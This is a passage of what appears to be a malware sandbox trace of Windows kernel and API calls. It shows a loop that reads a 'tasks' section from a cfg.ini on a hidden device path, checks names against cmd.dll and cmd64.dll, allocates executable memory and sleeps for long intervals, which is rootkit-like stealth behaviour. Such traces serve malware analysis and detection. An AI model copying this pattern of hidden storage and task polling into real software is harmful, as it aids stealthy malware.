FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.135] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.135] KeLeaveCriticalRegion () [0120.135] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.135] KeEnterCriticalRegion () [0120.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.135] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.135] IdePortDispatch () returned 0x103 [0120.135] KeWaitForMutexObject () returned 0x0 [0120.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.135] KeLeaveCriticalRegion () [0120.135] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.135] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.135] KeEnterCriticalRegion () [0120.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dff000 [0120.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.135] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.135] IdePortDispatch () returned 0x103 [0120.135] KeWaitForMutexObject () returned 0x0 [0120.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.136] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.136] IdePortDispatch () returned 0x103 [0120.136] KeWaitForMutexObject () returned 0x0 [0120.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.136] KeLeaveCriticalRegion () [0120.136] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.136] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.136] KeEnterCriticalRegion () [0120.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.136] KeLeaveCriticalRegion () [0120.137] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.137] KeEnterCriticalRegion () [0120.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.137] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.137] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc21b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.137] KeLeaveCriticalRegion () [0120.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.137] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.137] KeEnterCriticalRegion () [0120.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.137] ExFreePoolWithTag (P=0xfffffa8003bc20f0, Tag=0x0) [0120.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.137] KeLeaveCriticalRegion () [0120.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.137] ReleaseMutex (hMutex=0xf0) returned 1 [0120.137] Sleep (dwMilliseconds=0x927c0) [0120.154] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.154] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.154] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.154] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.154] KeEnterCriticalRegion () [0120.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.154] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.154] IdePortDispatch () returned 0x103 [0120.154] KeWaitForMutexObject () returned 0x0 [0120.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.154] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.154] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.154] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.154] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.154] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbb60 [0120.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.154] KeLeaveCriticalRegion () [0120.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.154] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.154] KeEnterCriticalRegion () [0120.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.154] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.154] KeLeaveCriticalRegion () [0120.154] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.155] KeEnterCriticalRegion () [0120.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.155] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.155] IdePortDispatch () returned 0x103 [0120.155] KeWaitForMutexObject () returned 0x0 [0120.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.155] KeLeaveCriticalRegion () [0120.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.155] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.155] KeEnterCriticalRegion () [0120.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003405000 [0120.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.155] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.155] IdePortDispatch () returned 0x103 [0120.155] KeWaitForMutexObject () returned 0x0 [0120.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.155] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.155] IdePortDispatch () returned 0x103 [0120.156] KeWaitForMutexObject () returned 0x0 [0120.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.156] KeLeaveCriticalRegion () [0120.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.156] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.156] KeEnterCriticalRegion () [0120.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.156] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.156] KeLeaveCriticalRegion () [0120.156] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.156] KeEnterCriticalRegion () [0120.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.156] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.156] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2300, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.156] KeLeaveCriticalRegion () [0120.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.156] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.156] KeEnterCriticalRegion () [0120.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.156] ExFreePoolWithTag (P=0xfffffa8003bdbb60, Tag=0x0) [0120.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.157] KeLeaveCriticalRegion () [0120.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.157] ReleaseMutex (hMutex=0xf0) returned 1 [0120.157] Sleep (dwMilliseconds=0x927c0) [0120.170] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.170] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.170] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.171] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.171] KeEnterCriticalRegion () [0120.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.171] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.171] IdePortDispatch () returned 0x103 [0120.171] KeWaitForMutexObject () returned 0x0 [0120.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.171] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.171] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.171] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.171] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.171] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.171] KeLeaveCriticalRegion () [0120.171] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.171] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.171] KeEnterCriticalRegion () [0120.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.171] KeLeaveCriticalRegion () [0120.171] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.171] KeEnterCriticalRegion () [0120.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.171] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.171] IdePortDispatch () returned 0x103 [0120.171] KeWaitForMutexObject () returned 0x0 [0120.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.172] KeLeaveCriticalRegion () [0120.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.172] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.172] KeEnterCriticalRegion () [0120.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800340a000 [0120.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.172] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.172] IdePortDispatch () returned 0x103 [0120.172] KeWaitForMutexObject () returned 0x0 [0120.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.172] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.172] IdePortDispatch () returned 0x103 [0120.172] KeWaitForMutexObject () returned 0x0 [0120.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.172] KeLeaveCriticalRegion () [0120.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.173] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.173] KeEnterCriticalRegion () [0120.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.173] KeLeaveCriticalRegion () [0120.173] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.173] KeEnterCriticalRegion () [0120.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.173] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc21b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.173] KeLeaveCriticalRegion () [0120.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.173] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.173] KeEnterCriticalRegion () [0120.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.173] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.173] KeLeaveCriticalRegion () [0120.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.173] ReleaseMutex (hMutex=0xf0) returned 1 [0120.173] Sleep (dwMilliseconds=0x927c0) [0120.187] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.187] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.187] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.187] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.187] KeEnterCriticalRegion () [0120.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.187] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.187] IdePortDispatch () returned 0x103 [0120.187] KeWaitForMutexObject () returned 0x0 [0120.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.188] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.188] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.188] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.188] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd8c0 [0120.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.188] KeLeaveCriticalRegion () [0120.188] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.188] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.188] KeEnterCriticalRegion () [0120.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.188] KeLeaveCriticalRegion () [0120.188] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.188] KeEnterCriticalRegion () [0120.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.188] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.188] IdePortDispatch () returned 0x103 [0120.188] KeWaitForMutexObject () returned 0x0 [0120.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.188] KeLeaveCriticalRegion () [0120.188] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.188] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.188] KeEnterCriticalRegion () [0120.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.188] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800340f000 [0120.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 